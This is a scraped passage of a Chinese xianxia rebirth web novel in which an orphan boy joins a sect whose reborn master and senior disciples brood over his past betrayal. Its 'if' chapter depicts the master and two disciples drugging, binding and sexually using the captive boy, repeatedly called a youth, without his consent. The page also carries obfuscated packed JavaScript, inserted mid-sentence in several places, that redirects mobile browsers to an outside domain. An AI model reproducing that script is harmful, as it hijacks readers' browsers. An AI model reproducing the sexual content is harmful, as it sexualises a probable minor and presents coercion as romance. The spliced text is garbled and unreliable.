顾棠愣愣的点了点头,完全没搞清楚发生了什么状况就被眼前这个看起来就很厉害的青年修士揽着腰御剑朝山顶冲去了。 顾棠是在一个相对平坦地区的小村庄里长大的,他是个孤儿,没见过什么世面,只是偶尔从村里人的闲言碎语中提取到了修仙这么一条路,憋着一股劲儿就来报名了。 他哪见过这种场面啊?脚下踩着一柄剑就能够飞行好几十公里?当真是梦里也不曾出现过的景象。 身处几百米高空的时候顾棠才恍然间觉得自己应该是恐高的,他忍着心里的恐惧往下看了一眼,脸色瞬间变得更难看了,连忙把脸埋进裴宇钦怀里。 诚然,少年长期营养不良的瘦弱腰身抱起来并不算多软多舒服,但不知是出于什么心理,裴宇钦还是下意识的抱紧了些。 哪怕仅仅是贴着他都能感觉出来少年身上穿着的麻布衣服质感很差很差,无法想象少年之前十几年是怎样度过的。裴宇钦眸光闪过一丝挣扎。 快要到了山顶,他晃了下神,眼神恢复了正常,就好像曾经不曾有过一丝动摇一般。 两人一落地就有几个看起来比顾棠大不了几岁的少年跃跃欲试着想凑过来,裴宇钦撇了他们一眼,松开了怀里的人,转身回到一个冷面青年身边站立着。 “你怎么是直接被带上来的?难道是找家里长辈提前打过招呼了?可是我在家听说凌天宗的选拔可是很严格的,没想到这么好开后门啊…” “你少说两句,说不定人家以后还是你哪个师兄呢。” “呵,就这小不点儿?我可不认。” 眼前两个少年一唱一和的暗讽显得被围在中间的顾棠无助极了,他本来就比周围的少年要年幼几岁,比这群少年里最矮的那个都要矮上一头。 高台之上坐着的几人看到这一幕都微不可查的皱了皱眉,有个别沉不住气的已经想起身制止了。 “也是…毕竟连你这种满嘴喷粪的货色都能混进来,这凌天宗确实也不怎么样。” 顾棠突如其来的地图炮让在场所有人都变了脸色,这话更是激的他对面那两人额头上青筋直跳,眼看着拳头都要举起来了。 “住手!”裴宇钦不知何时挡在了两人面前,手里的剑寒光闪闪。“拜师圣地,严禁打斗。” 场地里所有人都一下子安静了下来,裴宇钦冷眼扫了一圈儿,最后把目光落在一直在他身后低着头不说话的顾棠身上。 “你且随我来,师尊要交代你些事情。” 裴宇钦上一世并没和顾棠有过多少接触。 顾棠入宗门的时候他已经十七八了,他练的是苦修那一挂的,修为升上去之后就被师尊丢出去四处游历增长经验去了,直到听说宗门遭遇魔族侵袭才慌乱赶回来。 他唯一和顾棠有接触的时候就是顾棠判出师门后又重新回来的那几天,裴宇钦被派去给人送饭,然后成为了第一个发现顾棠尸体的人。 他有些不好描述自己当时的感受,只知道自己受到了很大的冲击。 自从那天过后他就一直做噩梦,总是梦到那少年浑身浴血的掐着他的脖子质问他为什么不救自己,裴宇钦也曾试图和梦里的少年讲道理,但是对方什么都听不进去,似乎只是一心的想要掐死他…或者只想要一个他给不了的答案? 裴宇钦直到现在也没想明白。 重生回来之后,他倒是再也没有梦见过那少年,但是却迫切的希望快点见到他,看看他本来应该是什么样子的。 虽瘦弱不堪,但精气神很足,给人一种野蛮生长的感觉——这是裴宇钦对顾棠的第一印象。 但是小师弟骂人这么狠的吗?这是裴宇钦怎么都没想到的。 顾棠低着头盯着裴宇钦的脚后跟往前走,在心里感慨着修仙真好。 他瞧这人鞋上连一丝灰尘都没有,也不知道他平常是怎么操作的…不会有什么清洁咒一类的东西吧? 神奇!想学!顾棠对自己的修仙之路更加期待了。 裴宇钦带着顾棠在高台之上一男子面前站定,顾棠小心翼翼的抬起头看了一眼又被那男子灼热的目光吓到,匆匆低下了头。 “到我身边来。”男子冷淡的声音像是玉石碰撞后的余韵。 裴宇钦没动,顾棠弄了半天才意识到他叫的是自己。 * 之后的拜师大典也和他没有关系了,因为那名他叫不出名字的男子直接带着他回了自己住处。 一路上,顾棠有好几次都欲言又止,姜岳稔却始终直视着着正前方,没有丝毫要向他解释什么的意思。 顾棠不知道自己现在算是什么身份。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人分开的第一时间,姜岳稔扫了一眼自己身下,顾棠则是揉了揉自己被包裹尖锐的部分硌得生疼的肚子。 撇见了他的动作,姜岳稔眼神里闪过一丝羞愧,忍不住在心里狠狠的唾弃了自己一番。 不要脸的老东西,思想龌龊还要用龌龊的思想想还是个半大孩子的小徒弟。 姜岳稔轻咳了一声,从怀里拿出一枚表面莹润有光泽的玉佩带给顾棠,他一挥衣袖,手里又出现了一套和裴宇钦身上那套一模一样的练功服。 “换好衣服出来见我。”轻飘飘的扔下这么一句话,他就背过了身去,一点也没有要离开的意思。 顾棠抱着手里的衣服愣愣的盯着他的背影看了良久,脱也不是,不脱也不是,眉心都纠结的皱了起来。 啥意思?修仙界都这么不讲究的吗?换个衣服连个屏风啥的都没有…就这么干换啊? 顾棠慢吞吞的脱下自己的麻布衣服,换上了宗门同款练功服,又在扎腰带的时候犯了难。 “师尊…我以前没系过这东西…” 他犹豫着开口,说完就低着头不敢看姜岳稔的脸色,生怕一抬头就对上对方嘲笑的眼神。 姜岳稔拳头骤然攥紧,闭上眼睛平复了一会儿,转过身来接过顾棠手中的暗纹腰带,绕到顾棠身前细致的给他系好。 顾棠还是第一次穿质量这么好的衣服,明明看上去又轻又薄,穿着竟让人然一点都不觉得冷。 “很好看。”姜岳稔上下打量着他,眼神有些恍惚。 顾棠眨巴两下眼睛,“…那多谢师尊夸奖?” 能看出来他并不擅长和长辈相处,这也符合他的身世,毕竟从小漂泊无依的孤儿又哪里来的长辈呢? 姜岳稔抬手摸了摸他的头发,抿着唇沉吟片刻,带他来到一个别院前。 “你以后就住这里吧,离我近些,方便我以后照看你。” 说完姜岳稔就转身欲走,其实早就偷偷竖起耳朵等顾棠开口留他了。 18. 我反叛师门后全员重生了(中) 顾棠看了看屋里的陈设,一时间眼睛都直了,欢欢喜喜的进了房间这看看那摸摸,玩的不亦乐乎,连姜岳稔没走都没发现。 突然他的视线扫过一处,眼睛瞬间瞪大,“这得值多少钱啊…” 床上赫然摆着个晶莹剔透的玉石枕头,那玉应该是从一整块玉石打磨出来的,上面的光泽莹润透亮,任谁都能看出它的品质不凡。 姜岳稔在门口占了良久,把他所有的欢呼雀跃都看在了眼里,直到屋里的灯熄了他才动了动僵硬的身子,缓步朝自己房里走去。 顾棠还是和之前一般无二的性子,就是不知道他还会不会再次出卖宗门了。 冷风中,姜岳稔幽幽叹了口气,沉重的心情久久没有得到缓解。 这边,姜岳稔才刚走顾棠屋里就闯进了一个不速之客。 听着屋里传来的微弱呼吸声,佘昀朝冷冷的勾了勾唇,阴沉着眸子用吹管在窗纸上戳了一个小洞,往里面吹了足够让屋里的人陷入深度睡眠的药物。 见屋里没了动静,佘昀朝毫不避讳的推开紧闭的房门走了进去,又仔仔细细的把门合好,转身走向床边。 顾棠已经趴在床边昏睡了过去,对屋里多了一个人没有丝毫察觉。 他安静的睡颜看起来静谧又美好,让人几乎不忍心打扰。 少年的皮肤透出一种健康的白皙色彩,他长长的眼睫在烛光的映射下在眼帘处留下一片阴影,那看起来粉润润的唇瓣此刻也微微张开,似乎能从中窥见…… 佘昀朝盯着他的脸看了一会儿,心里躁动着的浓烈恨意竟然诡异的一点点平静了下来。 他知道顾棠一时半会儿不会醒来,便倚在床边看着,漆黑的瞳孔里似乎跳动着一点火光,在黑暗中看的不真切。 佘昀朝上辈子被顾棠害得很惨很惨,差点就成了废人,幸好得到了隐世大家族的救助才得以保住一条性命。 当时那魔尊要顾棠把手里的剑捅进他身后其中一人的身体里才肯放过他,顾棠听完后不带一丝犹豫的就朝他走过来了,毫不留情的一剑刺进了他心口… 那一幕给佘昀朝留下了极大的心理阴影,让他之后很多年都难以摆脱梦魇的纠缠,这一过程中他对顾棠的恨意也慢慢发酵。 等到顾棠回到宗门的时候佘昀朝差点就要挥剑一剑劈了他,但是半路却被他们几人的师尊拦下了,佘昀朝之后再想找机会报仇却找不到了,只因姜岳稔“念旧情”,一直把顾棠留在自己房中囚/禁着。 再后来…顾棠就自尽了,没有任何预兆。 佘昀朝留着满腔的恨意无处宣泄,最后也落得了个走火入魔的凄惨下场。 “顾棠啊顾棠…没想到你还是来到了凌天宗。”他呢喃着,手指指尖轻点在床上的少年精致的眉眼间。 指尖的细腻触感让他有片刻的愣神,忍不住用了点力,顾棠眉心处立刻出现了一个圆圆的小红点。 少年皱了皱眉,无意间哼唧了一声,听在佘昀朝耳中又是平地一声惊雷。 “…真是妖精,怪不得让那魔尊念念不忘,在你走后还打上山来想夺走你的尸体…”他语气烦闷的嘟囔了一句,却没舍得再用力。 夜深了。 佘昀朝一直没走,他的手还时不时在顾棠脖颈处比划,却始终没有真的落下,眼中的纠结几乎都要凝为实质了。 到底要不要动手呢? 虽说顾棠给了他一剑让他差点丧命,但是顾棠也只是为了自保啊…人不为己,天诛地灭,顾棠做的并没什么错。 可既然顾棠没错,那他这仇要去找谁报啊?佘昀朝收回了手,整个人陷入了深思。 一刻钟后,他眼前一亮,心里终于有了决断。 找殷时郧! 对啊,要不是殷时郧非要来攻打他们宗门,顾棠又何至于被逼到与同门师兄弟刀剑相向的地步呢? 没错,千错万错都是那杀千刀的魔尊的错!顾棠也是没有办法,他太弱小了,只能想些不符合伦理的事情来保护自己。 想通了的佘昀朝连眼神都变得清澈了不少,他满脸歉意的看了一眼床上躺尸的顾棠,给人盖好被子,轻手轻脚的推门离去。 到这里,应该明眼人都能看出佘昀朝身上那股不同寻常的气质了。 被被自己宠大的小师弟顾棠捅了一剑后纠结到差点失心疯的是他,认定的仇人顾棠回来后被恨意蒙蔽了双眼要直接动手的人是他,顾棠自尽后因为无法亲手报仇而走火入魔直截了当的愁死了的人是他…… 如今重活一世,仅仅15分钟不到就哄得自己水灵灵的转移了上辈子记到死亡的那一刻也不曾忘记的仇恨的人也是他。 这玩意…哪怕是我的心灵创伤再深也抵挡不住他身上那股不正经气质。 佘昀朝全身上下最可取的地方就是他那万中无一的修行资质了。 * 就算选定了这条路,但是顾棠从来没真的以为自己有修行资质这种玄而又玄的东西,所以当姜岳稔拿出一块赤色的晶石让他把手放在上面测资质的时候他还犹豫了好一会儿。 这要是测出来他是个没有资质的普通人,他不会直接被赶下山吧? “没事的,只是测一下资质。”姜岳稔看出了他的犹豫,声音平静的安抚了一句。 顾棠咬了咬牙,直接把手按了上去。 这应该是修仙界专门用来测资质的那种灵石,它的表面不像街上那些被当成饰品售卖的矿石一样细润有光泽,反而摸起来有些硌手,入手一片冰凉。 等了半天都不见晶石上有任何反应,顾棠心里开始打起了鼓来,却不料下一刻 一道银色的光柱从晶石中心迸发出来,直冲天际,光柱外面的色彩一层一层的发生着变化,最后映射出一种很纯正的紫色。 紫色光柱直冲云霄,那耀眼的光竟然在阳光下都毫不逊色,纯净的可怕。 和上一次一样,顾棠还是甲级资质。 姜岳稔袖袍一甩,把晶石收了起来。 “你的资质很不错,修炼起来会比普通弟子快上许多,但是切记要戒骄戒躁,基本功也不能落下。” 例行公事的交代了一番后,见顾棠还站在原地眼巴巴的看着自己,那副无所适从的模样很是惹眼。 姜岳稔眸中划过一丝温度,抬手轻轻拍了拍他的头。 “好了,去练功场让你的那些师兄师弟们带你熟悉一下山上吧,他们的早训也该结束了。” 师弟?自己竟然还有师弟吗?自己才刚拜入师门,难道不该是师尊目前最小的弟子吗?顾棠有点疑惑。 后来顾棠才知道,原来裴宇钦后来还在拜师大典上代替姜岳稔收了个如同他这么大的少年。 练功场上众弟子列着队摆出各种各样顾棠没见过的姿势,还有小部分年纪长些的在兵器架前面挑挑选选着,他们有的眼尖看见了顾棠进来,纷纷停下手里的动作。 “…师兄们好,师尊让我来随便转转。”顾棠心下有些紧张,低头抱了抱拳,也不知道自己这么做对不对。 家族至上的时代,草根真的很难崛起啊…像顾棠这样一点礼数都不懂的,想要单纯凭自身的实力在某个领域闯出自己的一片天地是该多么困难,可想而知,他上辈子到底有多努力。 原本只有冰兵器之间相互碰撞声音的练功场里这下子直接一点声儿都没有了,众人都停下手中的动作看向门口的少年,周遭安静到落针可闻。 一个看起来20岁不到的青年越众而出,打破了僵持,朝顾棠走过来。 “裴师兄还没回来,就由我这个二师兄带你逛一逛可好?” 佘昀朝双臂环胸仰着头停在他面前,散漫的眼神上下将他打量了一遍,拉着他就往场地外面走。 “小师弟,你不用管那群家伙,他们都是外门子弟,和我们不是一个阶层的,算上你,师尊只有我们3个徒弟,你只要和我们几个搞好关系就行,怎么样?是不是觉得轻松了许多呀?” 虽然!佘昀朝一路上都笑嘻嘻的,让顾棠心情放松了不少,但是在听了他长篇大论的不着调的话之后,顾棠又默默把对他改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15222532|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观了印象改了回去。 “师兄说得是。”但无论心里是怎么想的,都不能拂了未来师兄的面子。 顾棠抬头看他,这个角度甚至能让他把少年眸子里聚集起的光亮看的一清二楚。 就连佘昀朝这种脑子缺了根弦儿的选手都觉得好看极了。 佘昀朝是带了点私心的,领着顾棠依次绕过姜岳稔的房间和裴宇钦的房间,直奔他自己的地方。 “咳…这儿是我的住所,怎么样?要不要进去逛逛?师兄好东西可多了,保证能让你长不少见识。” 顾棠乖乖点头,心里却对他直白的话生出了些许无语。 他知道会长见识不假,但是怎么这话从对方的嘴里说出来他心里就觉得这么不得劲儿呢?这是可以说的吗?顾棠疑惑。 佘昀朝兴冲冲的把他拉进了屋,翻出来自己珍藏的一堆零碎的破烂,从里面挑了几样用一个小布包裹着塞进顾棠怀里。 “师兄给你的见面礼,回去再打开。”佘昀朝抚在他耳边神神秘秘的说。 顾棠被拉着在屋子里转了一圈儿又一圈儿,佘昀朝指着墙上挂着的配剑给他介绍,又让他看自己早上刚画好的新符咒。 “怎么样?你师兄我厉害吧?要不要师兄以后交给你啊?”他得意洋洋的仰起头。 “这些东西…师尊不教的吗?”顾棠委婉的提出自己的疑问。 “师尊当然——”佘昀朝被噎了一下,因为过度兴奋而竖起的头发又一根根落了下去,“当然会教了,好吧…那你以后跟着师尊学去吧。” “…要不师兄现在先交给我一些基础的东西?我怕我到时候学不会,我悟性很差的其实…”顾棠捏着自己的衣角,故意露出苦恼的表情。 佘昀朝眉毛又扬了起来,“行!那你以后想学记得来找我,师尊要好几个月才能讲到画符呢,我这是家族里的长辈教的。” “好厉害呀。”顾棠这句是真心实意的夸奖。对于这些背后有家族撑腰的人,他心里是有点小羡慕的。 顾棠回去以后就打开了佘昀朝送他的那小包裹,结果让他大失所望。 几本封面惟妙惟肖的春宫图集,一把小桃木剑,和几个青色的果子。 顾棠以后确实有想修剑道的心思,那把小木剑他正好能用到,那青色果子他也尝了一颗,刚一入口就化作一股液体朝他喉咙里涌去,流进四肢百骸,似乎让他整个人都清醒了几分。 …那这春宫图是几个意思?顾棠不懂。 但是人家送的礼物也不好直接扔了,只好又用那块布包裹了起来,给塞进了床底。 这东西…等他长大一点儿的时候可能会用得到呢?顾棠强迫自己不去想那些乱七八糟的东西。 * 一转眼两年就过去了,离魔尊带着手下一众魔将围攻凌天宗的日子也快到了,姜岳稔心里的阴霾也越来越重。 这天,顾棠像往常一样的在自己院子里练剑,纤细的手腕抖动间剑身宛若游龙,被剑尖划过的空气中竟然隐隐有爆鸣声响起。 “剑法越发精进了,不错。”姜岳稔突然出声,眸中划过一丝欣赏,但是很快就被眼神深处的忧郁盖住了。 顾棠修的是剑修,对空气中的气流声以及身边人的呼吸声最为敏感,但是竟然没有发现姜岳稔是何时站在门口的。 “都是师尊教导的好。”顾棠收了剑,来到姜岳稔面前站定,任由他帮自己额前被汗水浸湿的发丝捋到耳后。 “你本身就很有天赋,是个好孩子。”姜岳稔用袖子帮他擦了擦脸颊上即将滚落的汗珠。 又来了。他说的当然不是师尊过于亲昵的动作,而是…又是这五个字。 他记得很清楚,他成为师尊的弟子的这两年以来听过这5个字已经不下600遍了,相处这么久他又了解姜岳稔是个不善言辞的性子,一天下来和自己说的话总共加起来都不会超过10句。 这么算来,平均每十一二句里就会有一句“你是好孩子”,再这样下去他当真要怀疑姜岳稔是在给他洗脑了。 19. if线:蒙难回到宗门后魔尊与炉鼎 一:如果被师尊带回宗门后没有自缢 1.姜岳稔视角: “疼吗?” 姜岳稔平日里清冷疏离的声音此刻沙哑的厉害,他手上的动作不停,语气却从冷静自持慢慢转变成了略带着些嘲讽。 “不,我应该问你…爽吗?棠棠。” 床上的少年呜咽了两声,唇瓣被咬得嫣红娇艳,看上去可怜极了,那双被长长的绸缎遮住的眼睛处的布料一点点被浸润起湿意。 哪怕现在看不见那双漂亮的眼睛,姜岳稔都能想象出少年红透的眼尾和眸子里破碎的水光。 “师尊的好徒弟,喜欢这种感觉吗?你在殷时郧那里应该早就体验过很多次了吧?呵…怎么样?是他玩的你爽,还是师尊让你更舒服?” 要是放在以前,他打死也想不到自己竟然会说出不知羞耻的话。特别是对象还是眼前一直被他放在心尖上的少年。 他边说还不忘放轻手下的动作,让顾棠整个人都要被折磨人的情/欲吞没了。 少年纤细却充满青春活力的身体突然高高挺起,又在下一刻飞快落下,白腻的肌肤上肉眼可见细密的汗珠。 姜岳稔看着手上的东西,眸光一点点变沉,干涩的唇微微抖动了一下,他不动声色的把手伸进随身空间里,再拿出来的时候手里的液体已经不见了。 顾棠正处于一场情/欲刚结束的不应期中,眼神空茫的盯着半空中一个点发呆,并没注意到姜岳稔的小动作。 姜岳稔目光流转于他那张潮红的脸上,皱了皱眉,“怎么不说话?” 少年两只手腕被一条丝带系在了床头,他连活动一下身体都很费力,他轻启唇瓣,却没想到一开口就是泣音。 “师尊…” 姜岳稔垂在身侧手指痉挛了一下,明明早已经冷硬起来的一颗心脏竟在此刻在胸腔中重重的跳了一下,震得他心口发疼。 空气中传来一声叹息,顾棠似乎回复了点意识,眼珠在黑暗中转动着朝声音出现的方向看去。 他突然感觉眼睛上的那块布料被人解开了,刺眼的烛光让他眼神朦胧间又闭上了。 “…怎么?后悔了?” 姜岳稔垂眸轻轻抚摸着他艳情透渗的眉眼,终是轻叹一口气。 顾棠被放了下来,他感觉自己手腕处的疼痛感在一点点消失,最后那片肌肤上连一丝红痕都没有留下,干干净净的,就像从没经历过那些腌臜之事一样。 他干涩的嗓子终于能发出些断断续续的声音了,姜岳稔紧盯着他被自己吻的水润润的唇瓣。 “…我、没、错。” 顾棠回瞪过去,从齿缝里挤出这三个字,丝毫不示弱。 他是真的不知道自己有哪里做错了,他明明什么都没做,人就到了殷时郧那里,他满心期待的等着师尊带着一众师兄来营救他,结果等了一个多月都没人来。 这会儿他想着偏安一隅的时候这群人又赶来“救”下了他,顾棠感激的泪水差一点就要喷涌而出了,结果迎面就是师尊阴沉如水的目光。 姜岳稔带头把他囚禁在了自己本命法器的空间里,每日都会带着几个徒弟来看顾棠,一开始姜岳稔只是冷眼看着,最后自己也生出了妄念,参与了进去。 他爱顾棠吗?无可否认。 但是师徒之间本就隔着许多,在他还没看清对顾棠的感觉情之前还突生此变故,姜岳稔心思更是急乱的,无数个日夜他的内心都在备受谴责。 如今顾棠这句“我没错”更是让他无所适从。 那是谁的错?裴宇钦因为没能在宗门危难之际赶回来而走火入魔,灵脉被调养了好久才避免了走火入魔的结局,佘昀朝被捅了一剑,顾棠被那魔头带走玷污压榨…这些都是他的徒弟啊。 是自己的错。 姜岳稔瞳孔震颤,被顾棠攥着的手指在微微发烫,他眸中的神采完全褪去了,此刻只剩下了满目疮痍。 许久都没有得到他的回应,顾棠的手指一点点松开了,眸中最后的一抹光亮似乎也熄灭了。 姜岳稔一把握住他的手,把他冰凉的手心贴在自己温热的脸上。 “…棠棠,看着我。”他连唇瓣都在颤抖,平日里飘然欲仙的出尘模样早就不知道被抛到哪去了。 顾棠想把手抽出来,但他力气太小了,怎么都挣脱不开姜岳稔的束缚,气急的他呼吸变得有些急促,胸膛的起伏频率也变快了许多。 “对不起…”有些话只要开始说出口,后面的话也就变得顺理成章了,“是师尊对不起你,不该这般对你…师尊不求你原谅,只希望你…能像之前那般模样,不再整日沉闷。” 顾棠抬头看了他一眼,冷冷淡淡的眸光配上那副醉茫茫的艳丽眉眼怎么看怎么让人心悸。 被他轻飘飘的看了一眼后,姜岳稔竟是一句话也说不出来,然后他就感受到对方带着一丝冰凉的掌心贴在了自己脸上,留下一点痛感。 微不足道的一下。若不是鼻息间萦绕着对方身上的香味,他恐怕都没有意识到刚才自己被打了一下。 “…棠棠?”姜岳稔下意识抬手轻触自己的脸,有些愣神。 2.裴宇钦: 作为姜岳稔第一个收入门下的弟子,裴宇钦向来都是那种别人家的孩子。 他强大,自立,有责任心,自小就被当成下一任掌门的不二人选,被姜岳稔寄予厚望,他也一直把自己这个师尊当成是毕生追求的目标。 但是他万万没想到姜岳稔竟然会带头干起这种事情来。 有的人可能要说,裴宇钦身为既得利益者不应该计较那么多,反正好处都得到了,再去不知好歹的指责这指责那只会显得他多事,过于斤斤计较。 姜岳稔是被猪油蒙了心了吗?裴宇钦不止一次这么想过。 他不懂得那件事的前后因果,只知道那个也算被他从小带到大的二师弟佘昀朝受了重伤,差点丧命,然后他从来没见过面的小师弟则被殷时郧掳走当炉鼎“用”了数月。 姜岳稔突破的第一时间就杀上了魔教,一剑斩了大殿之上不知为何身形萎靡的殷时郧,打晕顾棠带回了凌天宗。 之后这事的走向就如脱缰野马般一发不可收拾了。 裴宇钦和佘昀朝被姜岳稔带进法器空间里见到了还处于沉睡状态的顾棠,裴宇钦还在冷静的观察着自己这位传闻中离经叛道的小师弟,另一旁的佘昀朝已经被姜岳稔教着朝熟睡着的顾棠伸出魔手了——这是裴宇钦的理解。 而裴宇钦也并没好到哪儿去,他想,他当时怎么说也要阻止对方,但是他不仅没有,还好像被蛊惑了一般也凑了上去,握住了小师弟的另一只手。 他狠狠咬了一下自己的腮帮子,甚至终于清醒了几分后下意识转头看向姜岳稔。 他们的师尊此刻脸色阴沉的可怕,垂在两侧的手保持着攥紧的动作,木质地板上隐约可见丝丝缕缕的血迹。 师尊…是在忍耐吗?师尊也看不过去这幅场面吗?那为什么还要把自己和佘昀朝带过来… 裴宇钦的心思相较于普通人有些过于单纯了,他看不出来姜岳稔眸中跳动着的暗芒预示着什么,也不明白佘昀朝为什么不带丝毫犹豫的就能做出如此事迹。他甚至都有点看不清自己的想法了。 顾棠的眼睛虽然被蒙住了,但他的身体却很诚实的对着佘昀朝的动作给出了反应,裴宇钦就这么眼睁睁的看着佘昀朝手上的动作越来越放肆。 “有些过了吧?”终于,他忍不住拉住了对方。 “干嘛?我挡着你了吗?我又没拦着你,你弄你的去呗。” 佘昀朝不知道为什么眼睛都红透了,衣服前襟处已经被他自己扯的松松垮垮的了,隐约间露出胸口那片还未完全复原的伤口。 “佘昀朝,你以前…”裴宇钦眉头一皱,下意识就想对他说教几句。 “够了!” 佘昀朝突然朝他低吼了一声,向来骄傲阳光的青年此刻微微佝偻起身体,一点点蹲在地上,捞起顾棠垂在身侧的一只手紧紧攥住。 “你总说以前…你什么都不知道,凭什么拿这些来挤兑我?想在顾棠面前装好人?” 佘昀朝的样子有些吓人,一双眼睛神经质般的瞪大,额头的青筋冒出…他好像真的精神出现了问题。 可裴宇钦自己也没有好到哪里去,能忍并不代表他没有感觉,只是他的道德感更高一些,或者说…被捅了一刀的人并不是他自己,他对于佘昀朝对顾棠的复杂感情并没有实感。 佘昀朝趁他愣神的刹那挣脱他的束缚,继续刚才的动作,他那仅存的最后一丝理智似乎都用放轻力道不让顾棠感到疼痛上了。 两人的动作越来越激烈,裴宇钦近乎羞耻的低下了头,片刻,他又回过头最后看了一眼门口站着的师尊。 在他心里,姜岳稔一直是他的行为标杆,姜岳稔默许他做的事情,他愿意奉之为真理。 既然对方没有阻止… 裴宇钦感觉自己心里的罪恶在疯长,心里那抹坚定逐渐开始动摇,最后完全坍塌了,让他只能被欲望摆布。 3.佘昀朝: 佘昀朝。他的父母为他取这个名字应该是希望他一生都活在光明之下,快快乐乐的寿终正寝吧? 他原本也是很阳光的,整天冲着谁都笑,没个正形,修炼也总是个半吊子水平,他整天好像什么烦恼都没有的样子,对什么事都不感兴趣。 “二师兄好,我是师尊新收的弟子…以后还请你多多照顾!” 面前这少年在他面前站定,行礼的姿势也很别扭,他这一眼就能看出来他不是大户人家出来的。 佘昀朝盯着眼前人看了半天,顾棠久久没有得到回应,忍不住稍微抬起了点头,佘昀朝连忙装作冷酷的点了点头,从鼻腔里发出“嗯”的一声。 当初他和他那个整日冷着脸像个大冰块儿的师兄第一次见的时候对方就是这个表情,佘昀朝果断学了起来。 他又忍不住美滋滋的想着自己这回终于不是最小的了,那是不是可以把山上的一些杂活交给这个新来的小师弟啊? 这应该也算得上是…他们师门的传统吧,反正他上山的时候他不想干活姜岳稔就是这么教导他的。 最后那些活还是都是佘昀朝做完的,因为他觉得顾棠看起来又瘦又小的,而且还没开始修炼,体力一定不行,这不正是他表现的时机吗? 于是他就这么水灵灵的说服了自己。 那是一段很开心的时光,比他当初被师兄带着在天上飞的时候还开心,佘昀朝本来就爱笑,在顾棠身边待着的时候更是笑的眼睛就从来没完全睁开过,一直是眯着的。 就算是顾棠叛逃那天捅向他的一刀他都没有丝毫想躲的意思。也有可能是他根本就没想象过顾棠会给他来这么一下,甚至还是毫无犹豫的。 不知道是不是因为血液流出来的太多了,他张了张嘴,喉咙里却没有发出一丝声音,只是瞪大了眼睛,平日里神采奕奕的眸子里满是不可置信。 为什么…他只能在心里默默呢喃着,身形一点点委顿了下去,脚下像是重有千斤,只能眼睁睁的看着那个身影越走越远,最后完全消失在了自己视线里。 要不是有大家族贡献出来的灵器护体,佘昀朝可能早在那时候就已经死了。 再见到顾棠的时候,对方已经身形消瘦的不像样子,面容也不似往日般精致到无可挑剔,就像一颗蒙了尘的珍珠。 佘昀朝看着姜岳稔冲过去把他抱了起来,回了宗门。 他就一直跟在后面看着,麻木的眼神中似乎有了一丝光亮,但又很快被混沌遮盖住。 佘昀朝开始沉思自己该不该去见顾棠一面,为了报仇?或者问一个答案…那些太深刻的东西他一时半刻还想不起来,也不愿意去想。 “宇钦,昀朝,你们两个跟我进来。” 但还没等他有所动作,姜岳稔就主动带着两人去到了顾棠所在的暗室。 床上的人被蒙着眼,房间里本就黑暗,这样就看更看不清他的表情了。 佘昀朝伸长脖子往床上看,心中渐渐有了决断。 这绝对是顾棠!…只是不知道姜岳稔带他们两个来这里干啥,莫不是要当着自己和裴师兄的面对顾棠用刑? 想到这里,佘昀朝狠狠拧起了眉,心里一阵烦躁。 他也不知道自己到底在烦躁些什么,他把这归结于他对顾棠的深恶痛绝,已经到了见对方一眼都觉得心里难受的程度。 “他是炉鼎体质,而且早就被用过了。”房间里回荡着姜岳稔冷冰冰的声音,“该怎么做,你们应该懂吧?别浪费了这么好的资源。” 佘昀朝原本不怎么高的智商在这一刻却突然上了线,不顾身边还在愣神的裴宇钦就一个恶狗扑食扑了过去。 像个好几年没见过肉骨头的野犬。 顾棠挣扎了两下,发出一阵呜咽声,让人听不真切,但却莫名有些揪心。 可惜佘昀朝是个脑子发育不健全的,此时此刻他脑子里装的全都是黄色废料,无暇他顾。 但顾棠的情绪太过反常了,还是让他感觉出来异常来。 “…你哪里难受吗?我帮你揉揉?” 看着顾棠眼睛上蒙着的黑布慢慢浸湿,佘昀朝愣了愣神,开始用手扒拉他身上的衣服,看哪里有伤口。 顾棠身上的伤口当然早就好了,姜岳稔就算再疯也不会让顾棠顶着一身伤还要面临如此…常人无法接受的情形。 感受到佘昀朝的嘴巴终于从自己唇上离开了,顾棠大口喘着气,声音有些发颤。 “松…松开,疼…”其实并不疼。 但是佘昀朝可是和他做了好几年的师兄弟啊!顾棠听见他的声音的时候就心里一惊,脑子里都是蒙的,他不明白刚才还在当做轻柔的给他上药的姜岳稔为什么会突然一言不合冷着脸出了门,然后带其他人进来,还说了一些莫名其妙的话。 听见他微弱的声音,佘昀朝晃了下神,情绪竟然慢慢恢复了正常,抬手帮他解开了手腕上缠绕着的绸带。 姜岳稔当时系上的时候怕弄疼顾棠,有小心的控制着力道,但纵使这样,他听见顾棠喊疼的时候还是忍不住心头一颤。 他几乎要控制不住上前把两人拉开了,但佘昀朝却先他一步把人抱住了。 顾棠还有些脱力,手指都有点抬不起来,当然也没办法一下子推开他,只得小声在他耳边嘟囔。 “你…干嘛?” 他就搞不明白了,明明是再正常不过的三个字,佘昀朝听到了就想被什么东西击中了似的眼睛放亮,把两只手放在他肩膀上兴冲冲的喊着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15222533|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 